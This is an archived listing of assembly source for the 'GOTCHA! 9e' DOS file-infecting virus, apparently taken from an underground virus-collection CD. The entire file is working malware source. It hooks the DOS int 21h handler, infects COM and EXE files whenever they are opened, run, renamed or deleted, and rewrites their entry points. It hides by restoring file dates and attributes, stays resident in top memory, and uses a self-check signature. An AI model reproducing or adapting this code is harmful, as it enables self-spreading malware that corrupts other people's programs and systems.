home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / i / inf9.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  19.5 KB  |  571 lines

  1. ;****************************************************************************
  2.  
  3. ;*              GOTCHA!  Version 9e
  4.  
  5. ;****************************************************************************
  6.  
  7.  
  8.  
  9. cseg            segment
  10.  
  11.                 assume  cs:cseg,ds:cseg,es:nothing
  12.  
  13.  
  14.  
  15.                 org     100h
  16.  
  17.  
  18.  
  19. SIGNLEN         equ     signend - signature
  20.  
  21. FILELEN         equ     end - begin
  22.  
  23. RESPAR          equ     (FILELEN/16) + 17
  24.  
  25. VERSION         equ     9
  26.  
  27. BUFLEN          equ     20h
  28.  
  29. COMSIGN         equ     0
  30.  
  31. EXESIGN         equ     1
  32.  
  33. MINTARGET       equ     1000
  34.  
  35. MAXTARGET       equ     -FILELEN
  36.  
  37.  
  38.  
  39.                 .RADIX  16
  40.  
  41.  
  42.  
  43.  
  44.  
  45. ;****************************************************************************
  46.  
  47. ;*              Start the program!
  48.  
  49. ;****************************************************************************
  50.  
  51.  
  52.  
  53. begin:          xor     bx,bx
  54.  
  55.                 call    install
  56.  
  57.                 int     20
  58.  
  59.  
  60.  
  61.  
  62.  
  63. ;****************************************************************************
  64.  
  65. ;*              Data
  66.  
  67. ;****************************************************************************
  68.  
  69.  
  70.  
  71. buffer          db      BUFLEN dup (?)
  72.  
  73. oi21            dw      ?,?
  74.  
  75. oldlen          dw      ?,?
  76.  
  77. nameptr         dw      ?,?
  78.  
  79. handle          dw      ?
  80.  
  81. comexe          db      ?
  82.  
  83.  
  84.  
  85.  
  86.  
  87. ;****************************************************************************
  88.  
  89. ;*              File-extensions
  90.  
  91. ;****************************************************************************
  92.  
  93.  
  94.  
  95. EXE_txt         db      'EXE'
  96.  
  97. COM_txt         db      'COM'
  98.  
  99.  
  100.  
  101.  
  102.  
  103. ;****************************************************************************
  104.  
  105. ;*              Interupt handler 24
  106.  
  107. ;****************************************************************************
  108.  
  109.  
  110.  
  111. ni24:           mov     al,03
  112.  
  113.                 iret
  114.  
  115.  
  116.  
  117.  
  118.  
  119. ;****************************************************************************
  120.  
  121. ;*              Interupt handler 21
  122.  
  123. ;****************************************************************************
  124.  
  125.  
  126.  
  127. ni21:           pushf
  128.  
  129.  
  130.  
  131.                 cmp     ax,0DADAh               ;install-check ?
  132.  
  133.                 je      do_DADA
  134.  
  135.  
  136.  
  137.                 push    dx
  138.  
  139.                 push    cx
  140.  
  141.                 push    bx
  142.  
  143.                 push    ax
  144.  
  145.                 push    si
  146.  
  147.                 push    di
  148.  
  149.                 push    ds
  150.  
  151.                 push    es
  152.  
  153.  
  154.  
  155.                 cmp     ax,6C00h                ;open/create 4.00 ?
  156.  
  157.                 je      do_6C00
  158.  
  159.                 cmp     ah,56h                  ;rename ?
  160.  
  161.                 je      doit
  162.  
  163.                 cmp     ah,4Eh                  ;findfirst ?
  164.  
  165.                 je      doit                    ;(only works without wildcards)
  166.  
  167.                 cmp     ah,4Bh                  ;load / execute ?
  168.  
  169.                 je      doit
  170.  
  171.                 cmp     ah,43h                  ;attributes
  172.  
  173.                 je      doit
  174.  
  175.                 cmp     ah,41h                  ;delete ?
  176.  
  177.                 je      doit                    ;(it might be un-deleted!)
  178.  
  179.                 cmp     ah,3Dh                  ;open ?
  180.  
  181.                 je      do_3D
  182.  
  183.  
  184.  
  185.                 cmp     ah,17h                  ;FCB-rename?
  186.  
  187.                 je      doFCB
  188.  
  189.                 cmp     ah,13h                  ;FCB-delete?
  190.  
  191.                 jne     exit
  192.  
  193.  
  194.  
  195. doFCB:          call    FCBtoASC                ;COMMAND.COM still uses FCB's!
  196.  
  197.  
  198.  
  199. doit:           call    infect
  200.  
  201.  
  202.  
  203. exit:           pop     es
  204.  
  205.                 pop     ds
  206.  
  207.                 pop     di
  208.  
  209.                 pop     si
  210.  
  211.                 pop     ax
  212.  
  213.                 pop     bx
  214.  
  215.                 pop     cx
  216.  
  217.                 pop     dx
  218.  
  219.                 popf
  220.  
  221.  
  222.  
  223.                 jmp     dword ptr cs:[oi21]     ;call to old int-handler
  224.  
  225.  
  226.  
  227.  
  228.  
  229. do_3D:          test    al,03h                  ;only if opened for READING
  230.  
  231.                 jne     exit
  232.  
  233.                 jmp     short doit
  234.  
  235.  
  236.  
  237. do_6C00:        test    bl,03h                  ;idem
  238.  
  239.                 jne     exit
  240.  
  241.                 mov     dx,di                   ;ptr was DS:DI 
  242.  
  243.                 jmp     short doit
  244.  
  245.  
  246.  
  247. do_DADA:        mov     ax,0A500h+VERSION       ;return a signature
  248.  
  249.                 popf
  250.  
  251.                 iret
  252.  
  253.  
  254.  
  255.  
  256.  
  257. ;****************************************************************************
  258.  
  259. ;*              Old Interupt handler 21
  260.  
  261. ;****************************************************************************
  262.  
  263.  
  264.  
  265. org21:          pushf
  266.  
  267.                 call    dword ptr cs:[oi21]     ;call to old int-handler
  268.  
  269.                 ret
  270.  
  271.  
  272.  
  273.  
  274.  
  275. ;****************************************************************************
  276.  
  277. ;*              Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
  278.  
  279. ;****************************************************************************
  280.  
  281.  
  282.  
  283. infect:         cld
  284.  
  285.  
  286.  
  287.                 mov     cs:[nameptr],dx         ;save the ptr to the filename
  288.  
  289.                 mov     cs:[nameptr+2],ds
  290.  
  291.  
  292.  
  293.                 mov     ah,62h                  ;get segment-adres of PSP
  294.  
  295.                 int     21
  296.  
  297.                 mov     ds,bx                   ;get seg-adres of environment
  298.  
  299.                 mov     ax,ds:002Ch
  300.  
  301.                 mov     ds,ax
  302.  
  303.                 mov     si,0
  304.  
  305.  
  306.  
  307. envloop:        cmp     ds:[si],byte ptr 0      ;end of environment?
  308.  
  309.                 je      verder7
  310.  
  311.  
  312.  
  313.                 push    cs
  314.  
  315.                 pop     es
  316.  
  317.                 mov     di,offset envstring
  318.  
  319.                 mov     bx,0
  320.  
  321.  
  322.  
  323. scloop:         mov     al,ds:[si]              ;check the current env-item
  324.  
  325.                 cmpsb
  326.  
  327.                 je      scv1
  328.  
  329.                 inc     bx                      ;characters don't match!
  330.  
  331. scv1:           cmp     al,0                    ;end of env-item?
  332.  
  333.                 jne     scloop
  334.  
  335.  
  336.  
  337.                 cmp     bx,0                    ;did all characters match?
  338.  
  339.                 je      return
  340.  
  341.                 jmp     short envloop
  342.  
  343.  
  344.  
  345. verder7:        push    cs                      ;check the filename
  346.  
  347.                 pop     ds
  348.  
  349.                 les     di,dword ptr [nameptr]
  350.  
  351.                 mov     dx,di                
  352.  
  353.                 mov     cx,80                   ;search end of filename (-EXT)
  354.  
  355.                 mov     al,'.'
  356.  
  357.         repnz   scasb
  358.  
  359.                 mov     bx,di
  360.  
  361.  
  362.  
  363.                 std                             ;find begin of filename
  364.  
  365.                 mov     cl,11
  366.  
  367.                 mov     al,'\'
  368.  
  369.         repnz   scasb
  370.  
  371.                 cld
  372.  
  373.                 je      vvv
  374.  
  375.                 mov     di,dx
  376.  
  377.                 jmp     short vvv2
  378.  
  379. vvv:            add     di,2
  380.  
  381. vvv2:           mov     al,'V'                  ;is it V*.* ?
  382.  
  383.                 scasb
  384.  
  385.                 je      return
  386.  
  387.  
  388.  
  389.                 mov     cl,7                    ;is it *AN*.* ?
  390.  
  391.                 mov     ax,'NA'
  392.  
  393. ANloop:         dec     di
  394.  
  395.                 scasw
  396.  
  397.                 loopnz  ANloop
  398.  
  399.                 je      return
  400.  
  401.  
  402.  
  403.                 mov     si,offset EXE_txt       ;is extension 'EXE'?
  404.  
  405.                 mov     di,bx
  406.  
  407.                 mov     cx,3
  408.  
  409.         rep     cmpsb
  410.  
  411.                 jnz     verder4
  412.  
  413.  
  414.  
  415.                 mov     byte ptr [comexe],EXESIGN
  416.  
  417.                 jmp     short verder3
  418.  
  419.  
  420.  
  421. return:         ret
  422.  
  423.  
  424.  
  425. verder4:        mov     si,offset COM_txt       ;is extension 'COM'?
  426.  
  427.                 mov     di,bx
  428.  
  429.                 mov     cx,3
  430.  
  431.         rep     cmpsb
  432.  
  433.                 jnz     return 
  434.  
  435.  
  436.  
  437.                 mov     byte ptr [comexe],COMSIGN
  438.  
  439.  
  440.  
  441. verder3:        mov     ax,3300h                ;get ctrl-break flag
  442.  
  443.                 int     21
  444.  
  445.                 push    dx
  446.  
  447.  
  448.  
  449.                 xor     dl,dl                   ;clear the flag
  450.  
  451.                 mov     ax,3301h
  452.  
  453.                 int     21
  454.  
  455.  
  456.  
  457.                 mov     ax,3524h                ;get int24 vector
  458.  
  459.                 int     21
  460.  
  461.                 push    bx
  462.  
  463.                 push    es
  464.  
  465.  
  466.  
  467.                 push    cs                      ;set int24 vec to new handler
  468.  
  469.                 pop     ds
  470.  
  471.                 mov     dx,offset ni24
  472.  
  473.                 mov     ax,2524h
  474.  
  475.                 int     21
  476.  
  477.  
  478.  
  479.                 lds     dx,dword ptr [nameptr]  ;get file-attribute
  480.  
  481.                 mov     ax,4300h
  482.  
  483.                 call    org21
  484.  
  485.                 push    cx
  486.  
  487.  
  488.  
  489.                 and     cx,0F8h                 ;clear READ-ONLY-flag
  490.  
  491.                 call    setattr
  492.  
  493.                 jc      return1_v
  494.  
  495.  
  496.  
  497.                 push    cs                      ;open the file
  498.  
  499.                 pop     ds
  500.  
  501.                 lds     dx,dword ptr [nameptr]
  502.  
  503.                 mov     ax,3D02h
  504.  
  505.                 int     21
  506.  
  507.                 jnc     verder2
  508.  
  509. return1_v:      jmp     return1                 ;something went wrong... :-(
  510.  
  511.  
  512.  
  513. verder2:        push    cs                      ;save handle
  514.  
  515.                 pop     ds
  516.  
  517.                 mov     [handle],ax
  518.  
  519.  
  520.  
  521.                 mov     bx,[handle]             ;get file date & time
  522.  
  523.                 mov     ax,5700h
  524.  
  525.                 int     21
  526.  
  527.                 push    cx
  528.  
  529.                 push    dx
  530.  
  531.  
  532.  
  533.                 call    endptr                  ;get file-length
  534.  
  535.                 mov     [oldlen],ax
  536.  
  537.                 mov     [oldlen+2],dx
  538.  
  539.  
  540.  
  541.                 sub     ax,SIGNLEN              ;move ptr to end - SIGNLEN
  542.  
  543.                 sbb     dx,0
  544.  
  545.                 mov     cx,dx
  546.  
  547.                 mov     dx,ax
  548.  
  549.                 mov     al,00h
  550.  
  551.                 call    ptrmov
  552.  
  553.  
  554.  
  555.                 mov     cx,SIGNLEN              ;read the last bytes
  556.  
  557.                 mov     dx,offset buffer   
  558.  
  559.                 call    flread
  560.  
  561.                 jc      return2_v
  562.  
  563.  
  564.  
  565.                 push    cs                      ;compare bytes with signature
  566.  
  567.                 pop     es
  568.  
  569.                 mov     di,offset buffer
  570.  
  571.                 mov     si,offset signature
  572.  
  573.                 mov     cx,SIGNLEN
  574.  
  575.         rep     cmpsb
  576.  
  577.                 jz      return2_v
  578.  
  579.  
  580.  
  581.                 call    beginptr                ;read begin of file
  582.  
  583.                 mov     cx,BUFLEN
  584.  
  585.                 mov     dx,offset buffer
  586.  
  587.                 call    flread
  588.  
  589.  
  590.  
  591.                 cmp     byte ptr [comexe],EXESIGN
  592.  
  593.                 jz      do_exe
  594.  
  595.                 
  596.  
  597. do_com:         cmp     word ptr [oldlen],MAXTARGET   ;check length of file
  598.  
  599.                 jnb     return2
  600.  
  601.                 cmp     word ptr [oldlen],MINTARGET
  602.  
  603.                 jbe     return2
  604.  
  605.  
  606.  
  607.                 call    writeprog               ;write program to end of file
  608.  
  609.                 jc      return2
  610.  
  611.  
  612.  
  613.                 mov     ax,[oldlen]             ;calculate new start-adres
  614.  
  615.                 add     ax,(offset entry - 0103h)
  616.  
  617.                 mov     byte ptr [buffer],0E9h  ;'JMP'
  618.  
  619.                 mov     word ptr [buffer+1],ax
  620.  
  621.  
  622.  
  623.                 jmp     short verder1
  624.  
  625.  
  626.  
  627. return2_v:      jmp     short return2
  628.  
  629.  
  630.  
  631.  
  632.  
  633. do_exe:         call    writeprog               ;write program to end of file
  634.  
  635.                 jc      return2
  636.  
  637.  
  638.  
  639.                 mov     ax,[oldlen]             ;calculate new length 
  640.  
  641.                 mov     dx,[oldlen+2]
  642.  
  643.                 add     ax,FILELEN
  644.  
  645.                 adc     dx,0
  646.  
  647.  
  648.  
  649.                 mov     cl,9                    ;put new length in header
  650.  
  651.                 shr     ax,cl
  652.  
  653.                 mov     cl,7
  654.  
  655.                 shl     dx,cl
  656.  
  657.                 or      ax,dx
  658.  
  659.                 inc     ax
  660.  
  661.                 mov     word ptr [buffer+4],ax
  662.  
  663.                 mov     ax,[oldlen]
  664.  
  665.                 add     ax,FILELEN
  666.  
  667.                 and     ax,01FFh
  668.  
  669.                 mov     word ptr [buffer+2],ax
  670.  
  671.  
  672.  
  673.                 mov     ax,[oldlen]             ;calculate new CS & IP
  674.  
  675.                 mov     dx,[oldlen+2]
  676.  
  677.                 mov     bx,word ptr [buffer+8]
  678.  
  679.                 push    ax
  680.  
  681.                 mov     cl,4
  682.  
  683.                 shr     ax,cl
  684.  
  685.                 mov     cl,0Ch
  686.  
  687.                 shl     dx,cl
  688.  
  689.                 add     ax,dx
  690.  
  691.                 sub     ax,bx
  692.  
  693.                 mov     word ptr [buffer+16h],ax  ;put CS in header
  694.  
  695.                 pop     ax
  696.  
  697.                 and     ax,000Fh
  698.  
  699.                 add     ax,(offset entry - 0100h)
  700.  
  701.                 mov     word ptr [buffer+14h],ax  ;put IP in header
  702.  
  703.  
  704.  
  705. verder1:        call    beginptr                ;write new begin of file
  706.  
  707.                 mov     cx,BUFLEN
  708.  
  709.                 mov     dx,offset buffer
  710.  
  711.                 call    flwrite
  712.  
  713.  
  714.  
  715. return2:        mov     bx,[handle]             ;restore file date & time
  716.  
  717.                 pop     dx
  718.  
  719.                 pop     cx
  720.  
  721.                 mov     ax,5701h
  722.  
  723.                 int     21
  724.  
  725.  
  726.  
  727.                 mov     bx,[handle]             ;close the file
  728.  
  729.                 mov     ah,3Eh
  730.  
  731.                 int     21
  732.  
  733.  
  734.  
  735. return1:        pop     cx                      ;restore file-attribute
  736.  
  737.                 call    setattr
  738.  
  739.  
  740.  
  741.                 pop     ds                      ;restore int24 vector
  742.  
  743.                 pop     dx
  744.  
  745.                 mov     ax,2524h
  746.  
  747.                 int     21
  748.  
  749.  
  750.  
  751.                 pop     dx                      ;restore ctrl-break flag
  752.  
  753.                 mov     ax,3301h
  754.  
  755.                 int     21
  756.  
  757.  
  758.  
  759.                 ret
  760.  
  761.  
  762.  
  763.  
  764.  
  765. ;****************************************************************************
  766.  
  767. ;*              Gets ASCIIZ-filename from FCB
  768.  
  769. ;****************************************************************************
  770.  
  771.  
  772.  
  773. FCBtoASC:       mov     si,dx
  774.  
  775.                 lodsb
  776.  
  777.                 inc     al                      ;extended FCB?
  778.  
  779.                 jne     normal_FCB
  780.  
  781.                 add     si,7
  782.  
  783. normal_FCB:     push    cs
  784.  
  785.                 pop     es
  786.  
  787.                 xor     di,di                   ;adres for ASCIIZ-name
  788.  
  789.                 mov     dx,di
  790.  
  791.                 mov     cx,8
  792.  
  793. FCB_loop:       lodsb                           ;copy all except spaces
  794.  
  795.                 cmp     al,' '
  796.  
  797.                 je      FCB_verder
  798.  
  799.                 stosb
  800.  
  801. FCB_verder:     loop    FCB_loop
  802.  
  803.                 mov     al,'.'                  ;append a '.'
  804.  
  805.                 stosb
  806.  
  807.                 mov     cl,3                    ;and the extension
  808.  
  809.         rep     movsb
  810.  
  811.                 xchg    ax,cx                   ;and a final zero.
  812.  
  813.                 stosb
  814.  
  815.                 push    es
  816.  
  817.                 pop     ds
  818.  
  819.                 ret
  820.  
  821.  
  822.  
  823.  
  824.  
  825. ;****************************************************************************
  826.  
  827. ;*              Changes file-attributes
  828.  
  829. ;****************************************************************************
  830.  
  831.  
  832.  
  833. setattr:        lds     dx,dword ptr cs:[nameptr]
  834.  
  835.                 mov     ax,4301h
  836.  
  837.                 call    org21
  838.  
  839.                 ret
  840.  
  841.  
  842.  
  843.  
  844.  
  845. ;****************************************************************************
  846.  
  847. ;*              Writes program to end of file
  848.  
  849. ;****************************************************************************
  850.  
  851.  
  852.  
  853. writeprog:      call    endptr
  854.  
  855.                 mov     cx,FILELEN
  856.  
  857.                 mov     dx,offset begin
  858.  
  859. ;                call    flwrite                ;Hmm, save a few bytes!
  860.  
  861. ;                ret
  862.  
  863.  
  864.  
  865.  
  866.  
  867. ;****************************************************************************
  868.  
  869. ;*              Subroutines for reading/writing
  870.  
  871. ;****************************************************************************
  872.  
  873.  
  874.  
  875. flwrite:        mov     ah,40h
  876.  
  877.                 jmp     short flvrdr
  878.  
  879.  
  880.  
  881. flread:         mov     ah,3Fh
  882.  
  883. flvrdr:         push    cs
  884.  
  885.                 pop     ds
  886.  
  887.                 mov     bx,cs:[handle]
  888.  
  889.                 int     21
  890.  
  891.                 ret
  892.  
  893.  
  894.  
  895.  
  896.  
  897. ;****************************************************************************
  898.  
  899. ;*              Subroutines for file-pointer
  900.  
  901. ;****************************************************************************
  902.  
  903.  
  904.  
  905. beginptr:       mov     al,00h                  ;go to begin of file
  906.  
  907.                 jmp     short ptrvrdr
  908.  
  909.  
  910.  
  911. endptr:         mov     al,02h                  ;go to end of file
  912.  
  913. ptrvrdr:        xor     cx,cx
  914.  
  915.                 xor     dx,dx
  916.  
  917.  
  918.  
  919. ptrmov:         mov     bx,cs:[handle]          ;go somewhere
  920.  
  921.                 mov     ah,42h
  922.  
  923.                 int     21
  924.  
  925.                 ret
  926.  
  927.  
  928.  
  929.  
  930.  
  931. ;****************************************************************************
  932.  
  933. ;*              This is where infected files start
  934.  
  935. ;****************************************************************************
  936.  
  937.  
  938.  
  939. entry:          call    entry2
  940.  
  941. entry2:         pop     bx
  942.  
  943.                 sub     bx,offset entry2        ;CS:BX is begin program - 100h
  944.  
  945.  
  946.  
  947.                 pushf
  948.  
  949.                 cld
  950.  
  951.  
  952.  
  953.                 cmp     byte ptr cs:[bx+offset comexe],COMSIGN
  954.  
  955.                 jz      entryC
  956.  
  957.  
  958.  
  959. entryE:         mov     ax,ds                   ;put old start-adres on stack
  960.  
  961.                 add     ax,10
  962.  
  963.                 add     ax,cs:[bx+offset buffer+016h]
  964.  
  965.                 push    ax
  966.  
  967.                 push    cs:[bx+offset buffer+014h]
  968.  
  969.  
  970.  
  971.                 jmp     short entcheck
  972.  
  973.                 
  974.  
  975. entryC:         mov     ax,bx                   ;restore old file-begin
  976.  
  977.                 add     ax,offset buffer
  978.  
  979.                 mov     si,ax
  980.  
  981.                 mov     di,0100
  982.  
  983.                 mov     cx,BUFLEN
  984.  
  985.         rep     movsb
  986.  
  987.  
  988.  
  989.                 push    cs                      ;put old start-adres on stack
  990.  
  991.                 mov     ax,0100h
  992.  
  993.                 push    ax
  994.  
  995.  
  996.  
  997. entcheck:       mov     ax,0DADAh               ;already installed?
  998.  
  999.                 int     21h
  1000.  
  1001.                 cmp     ah,0A5h
  1002.  
  1003.                 je      entstop
  1004.  
  1005.  
  1006.  
  1007.                 call    install                 ;install the program
  1008.  
  1009.  
  1010.  
  1011. entstop:        iret
  1012.  
  1013.  
  1014.  
  1015.  
  1016.  
  1017. ;****************************************************************************
  1018.  
  1019. ;*              Install the program at top of memory
  1020.  
  1021. ;****************************************************************************
  1022.  
  1023.  
  1024.  
  1025. install:        push    ds
  1026.  
  1027.                 push    es
  1028.  
  1029.  
  1030.  
  1031.                 xor     ax,ax                   ;get original int21 vector
  1032.  
  1033.                 mov     es,ax
  1034.  
  1035.                 mov     cx,word ptr es:0084h
  1036.  
  1037.                 mov     dx,word ptr es:0086h
  1038.  
  1039.                 mov     cs:[bx+offset oi21],cx
  1040.  
  1041.                 mov     cs:[bx+offset oi21+2],dx
  1042.  
  1043.  
  1044.  
  1045.                 mov     ax,ds                   ;adjust memory-size
  1046.  
  1047.                 dec     ax
  1048.  
  1049.                 mov     es,ax
  1050.  
  1051.                 cmp     byte ptr es:[0000h],5Ah
  1052.  
  1053.                 jnz     cancel
  1054.  
  1055.                 mov     ax,es:[0003h]
  1056.  
  1057.                 sub     ax,RESPAR
  1058.  
  1059.                 jb      cancel
  1060.  
  1061.                 mov     es:[0003h],ax
  1062.  
  1063.                 sub     es:[0012h], word ptr RESPAR
  1064.  
  1065.  
  1066.  
  1067.                 push    cs                      ;copy program to top
  1068.  
  1069.                 pop     ds
  1070.  
  1071.                 mov     es,es:[0012h]
  1072.  
  1073.                 mov     ax,bx
  1074.  
  1075.                 add     ax,0100
  1076.  
  1077.                 mov     si,ax
  1078.  
  1079.                 mov     di,0100h
  1080.  
  1081.                 mov     cx,FILELEN
  1082.  
  1083.         rep     movsb
  1084.  
  1085.  
  1086.  
  1087.                 mov     dx,offset ni21          ;set vector to new handler
  1088.  
  1089.                 push    es
  1090.  
  1091.                 pop     ds
  1092.  
  1093.                 mov     ax,2521h
  1094.  
  1095.                 int     21h
  1096.  
  1097.  
  1098.  
  1099. cancel:         pop     es
  1100.  
  1101.                 pop     ds
  1102.  
  1103.  
  1104.  
  1105.                 ret
  1106.  
  1107.  
  1108.  
  1109.  
  1110.  
  1111. ;****************************************************************************
  1112.  
  1113. ;*              Text and Signature
  1114.  
  1115. ;****************************************************************************
  1116.  
  1117.  
  1118.  
  1119. envstring:      db      'E=mc²',0               ;put this in your environment!
  1120.  
  1121.  
  1122.  
  1123. signature:      db      'GOTCHA!',0             ;I have got you!  :-)
  1124.  
  1125. signend:
  1126.  
  1127.  
  1128.  
  1129.  
  1130.  
  1131.  
  1132.  
  1133. end:
  1134.  
  1135.  
  1136.  
  1137. cseg            ends
  1138.  
  1139.                 end     begin
  1140.  
  1141.